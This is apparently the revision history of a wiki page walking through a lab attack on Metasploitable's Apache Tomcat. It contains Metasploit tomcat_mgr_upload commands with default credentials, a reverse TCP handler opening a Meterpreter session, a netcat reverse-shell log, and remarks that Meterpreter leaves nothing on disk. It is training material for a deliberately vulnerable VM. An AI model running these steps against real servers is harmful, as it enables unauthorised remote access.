Metasploitable/Apache/Tomcat and Coyote - Revision history

Admin: /* Why Meterpreter is Better */

2016-03-31T03:17:35Z

Why Meterpreter is Better

← Older revision		Revision as of 03:17, 31 March 2016
Line 371:		Line 371:

	Now we have a meterpreter shell! Over and on to [[Meterpreter]].		Now we have a meterpreter shell! Over and on to [[Meterpreter]].

	~~===Why Meterpreter is Better===~~

	~~Meterpreter is an entirely in-memory tool, and writes nothing to disk.~~

	~~It uses encrypted communications - so replaces cryptcat.~~

	~~It provides additional functionality that a basic netcat or cryptcat shell might not provide.~~

	==Uploading Java Executable Manually==		==Uploading Java Executable Manually==

2016-03-31T02:43:12Z

Why Meterpreter is Better

← Older revision		Revision as of 02:43, 31 March 2016
Line 376:		Line 376:
	Meterpreter is an entirely in-memory tool, and writes nothing to disk.		Meterpreter is an entirely in-memory tool, and writes nothing to disk.

	It provides additional functionality that a basic netcat shell might not provide.		It uses encrypted communications - so replaces cryptcat.

			It provides additional functionality that a basic netcat or cryptcat shell might not provide.

	==Uploading Java Executable Manually==		==Uploading Java Executable Manually==

2016-03-31T02:42:29Z

Run the Exploit (Worked)

@@ Line 367: / Line 367: @@
 meterpreter >
 </pre>
 ==Uploading Java Executable Manually==

2016-03-31T02:35:34Z

Run the Exploit (Failure)

← Older revision		Revision as of 02:35, 31 March 2016
Line 340:		Line 340:

	(Note: many admins will disable these Tomcat modules or change the name of directories.)		(Note: many admins will disable these Tomcat modules or change the name of directories.)


			===Run the Exploit (Worked)===

			I set this aside for a day, and found another workaround (covered below). But then, later, the exploit worked as intended.

			<pre>
			msf exploit(tomcat_mgr_upload) > set USERNAME tomcat
			USERNAME => tomcat
			msf exploit(tomcat_mgr_upload) > set PASSWORD tomcat
			PASSWORD => tomcat
			msf exploit(tomcat_mgr_upload) > set RHOST 10.0.0.27
			RHOST => 10.0.0.27
			msf exploit(tomcat_mgr_upload) > set RPORT 8180
			RPORT => 8180
			msf exploit(tomcat_mgr_upload) > run

			[*] Started reverse TCP handler on 10.0.0.5:4444
			[*] 10.0.0.27:8180 - Retrieving session ID and CSRF token...
			[*] 10.0.0.27:8180 - Uploading and deploying cjMiuUTZpif5w0UB5FgrZY...
			[*] 10.0.0.27:8180 - Executing cjMiuUTZpif5w0UB5FgrZY...
			[*] 10.0.0.27:8180 - Undeploying cjMiuUTZpif5w0UB5FgrZY ...
			[*] Sending stage (45741 bytes) to 10.0.0.27
			[*] Meterpreter session 1 opened (10.0.0.5:4444 -> 10.0.0.27:50621) at 2016-03-30 19:33:50 -0700

			meterpreter >
			</pre>

	==Uploading Java Executable Manually==		==Uploading Java Executable Manually==

2016-03-31T02:31:26Z

Run the Exploit (Failure)

← Older revision		Revision as of 02:31, 31 March 2016
Line 333:		Line 333:
	</pre>		</pre>

	Does not work. Not sure why ~~- if I log in to the management page, I can see that the executable WAR is successfully being uploaded and executed by Metasploit. These executables are even RUNNING~~.		Does not work. Not sure why.

	~~The path <code>/manager/serverinfo</code> exists~~.		After running the above exploit, I can log into the management page and see the WAR is successfully being uploaded by Metasploit, and that the module is active and running.

	Can configure the correct path to the Tomcat manager (which is <code>/manager</code>).		Can configure the correct path to the Tomcat manager (which is <code>/manager</code>).

2016-03-31T02:30:43Z

Run the Exploit

← Older revision		Revision as of 02:30, 31 March 2016
Line 314:		Line 314:
	</pre>		</pre>

	===Run the Exploit===		===Run the Exploit (Failure)===

	Now we are ready to run:		Now we are ready to run:
Line 333:		Line 333:
	</pre>		</pre>

	~~Nope~~.		Does not work. Not sure why - if I log in to the management page, I can see that the executable WAR is successfully being uploaded and executed by Metasploit. These executables are even RUNNING.

	~~I don't understand~~ why - if I log in to the management page, I can see that the executable WAR is successfully being uploaded and executed by Metasploit. ~~They~~ are even RUNNING.

	The path <code>/manager/serverinfo</code> exists.		The path <code>/manager/serverinfo</code> exists.

2016-03-30T05:35:45Z

Houston, We Have a Shell

← Older revision		Revision as of 05:35, 30 March 2016
Line 481:		Line 481:

	http://securitypadawan.blogspot.com/2011/11/attacking-metasploitable-tomcat-this-is.html		http://securitypadawan.blogspot.com/2011/11/attacking-metasploitable-tomcat-this-is.html

			===Clean Up===

			Remove the runme war file by going back to http://10.0.0.27:8180/manager/html and clicking "Undeploy".

	=Flags=		=Flags=

	{{MSFlag}}		{{MSFlag}}

2016-03-30T05:35:35Z

Clean Up

← Older revision		Revision as of 05:35, 30 March 2016
Line 396:		Line 396:
	connect to [10.0.0.25] from (UNKNOWN) [10.0.0.27] 35148		connect to [10.0.0.25] from (UNKNOWN) [10.0.0.27] 35148
	</pre>		</pre>

	~~===Clean Up===~~

	~~Remove the runme war file by going back to http://10.0.0.27:8180/manager/html and clicking "Undeploy".~~

	===Houston, We Have a Shell===		===Houston, We Have a Shell===

2016-03-30T05:35:23Z

Netcat Listener

← Older revision		Revision as of 05:35, 30 March 2016
Line 396:		Line 396:
	connect to [10.0.0.25] from (UNKNOWN) [10.0.0.27] 35148		connect to [10.0.0.25] from (UNKNOWN) [10.0.0.27] 35148
	</pre>		</pre>

			===Clean Up===

			Remove the runme war file by going back to http://10.0.0.27:8180/manager/html and clicking "Undeploy".

	===Houston, We Have a Shell===		===Houston, We Have a Shell===

2016-03-30T05:04:13Z

Houston, We Have a Shell

@@ Line 401: / Line 401: @@
 Congrats - we've got ourselves a shell!
-The shell is nothing fancy, but it lets us run amok in the filesystem.
+The shell is nothing fancy, but it lets us do some things on the filesystem.
 <pre>
@@ Line 436: / Line 438: @@
 var
 vmlinuz
 </pre>
@@ Line 443: / Line 474: @@
 cd /etc/init.d
 ls
 </pre>